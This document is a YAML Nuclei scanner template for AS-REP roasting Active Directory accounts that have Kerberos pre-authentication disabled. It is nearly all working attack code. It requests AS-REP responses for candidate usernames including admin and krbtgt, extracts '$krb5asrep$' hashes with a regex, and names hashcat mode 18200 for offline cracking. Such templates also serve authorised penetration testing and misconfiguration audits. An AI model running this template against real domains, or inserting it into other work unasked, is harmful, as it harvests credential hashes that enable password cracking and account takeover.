Files
2026-05-06 17:57:02 +05:30

58 lines
1.3 KiB
YAML

id: asrep-roast
info:
name: Active Directory AS-REP Roast (DONT_REQ_PREAUTH)
author: nuclei
severity: high
description: |
Requests an AS-REP for a list of candidate usernames against the target
KDC. Accounts that have UF_DONT_REQUIRE_PREAUTH set return a Kerberos
pre-auth-less response, exposing the encrypted timestamp to offline
cracking (`hashcat -m 18200`).
tags: ad,kerberos,asreproast,impacket,unauth
javascript:
- pre-condition: |
isPortOpen(Host, Port)
code: |
const krb = require('nuclei/krbroast');
try {
const hash = krb.ASRepRoast({
Username: User,
Domain: Domain,
KDCHost: Host + ":" + Port,
Format: "hashcat",
});
hash;
} catch (e) {
// KDC returned KRB_ERR_PREAUTH_REQUIRED -> user has preauth, skip
"";
}
args:
Host: "{{Host}}"
Port: "88"
Domain: "ACME.LOCAL"
User: "{{usernames}}"
payloads:
usernames:
- "svc-roast"
- "admin"
- "krbtgt"
stop-at-first-match: false
matchers:
- type: word
part: response
words:
- "$krb5asrep$"
extractors:
- type: regex
part: response
name: asrep_hash
regex:
- "\\$krb5asrep\\$[^\\s]+"